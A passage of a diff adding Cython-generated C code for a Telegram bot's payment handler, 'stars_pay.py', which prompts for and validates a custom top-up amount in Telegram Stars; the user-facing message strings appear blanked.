NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 155, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_8generator2, __pyx_codeobj__19, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.stars_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L5_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 155, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":159 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_stars")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":160 + * ): + * builder = InlineKeyboardBuilder() + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_stars")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_kp_u__20) < 0) __PYX_ERR(0, 160, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_stars) < 0) __PYX_ERR(0, 160, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":162 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_stars")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":164 + * await callback_query.message.answer( + * ", .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 164, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 164, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 164, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 164, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/stars_pay.py":162 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_stars")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__22, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 162, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 162, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":167 + * ) + * + * await state.set_state(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_entering_custom_amount_stars); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 167, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 167, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/stars_pay.py":155 + * + * + * @router.callback_query(F.data == "enter_custom_amount_stars") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_AddTraceback("process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/stars_pay.py":170 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_10process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_9stars_pay_10process_custom_amount_input = {"process_custom_amount_input", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_9stars_pay_10process_custom_amount_input, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_10process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_message = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_message,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_message)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 170, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 170, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 170, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 170, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_message = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 170, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.stars_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_9stars_pay_9process_custom_amount_input(__pyx_self, __pyx_v_message, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_9process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 170, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_message = __pyx_v_message; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_11generator3, __pyx_codeobj__23, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.stars_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_t_5; + Py_ssize_t __pyx_t_6; + Py_UCS4 __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + int __pyx_t_14; + PyObject *__pyx_t_15 = NULL; + int __pyx_t_16; + char const *__pyx_t_17; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L6_resume_from_await; + case 2: goto __pyx_L7_resume_from_await; + case 3: goto __pyx_L8_resume_from_await; + case 4: goto __pyx_L15_resume_from_await; + case 5: goto __pyx_L23_resume_from_await; + case 6: goto __pyx_L28_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 170, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":172 + * @router.message(ReplenishBalanceState.entering_custom_amount_stars) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount // RUB_TO_XTR <= 0: + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/stars_pay.py":173 + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + * amount = int(message.text) # <<<<<<<<<<<<<< + * if amount // RUB_TO_XTR <= 0: + * await message.answer( + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 173, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 173, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":174 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount // RUB_TO_XTR <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * f" {RUB_TO_XTR}. , :" + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyObject_RichCompare(__pyx_t_1, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 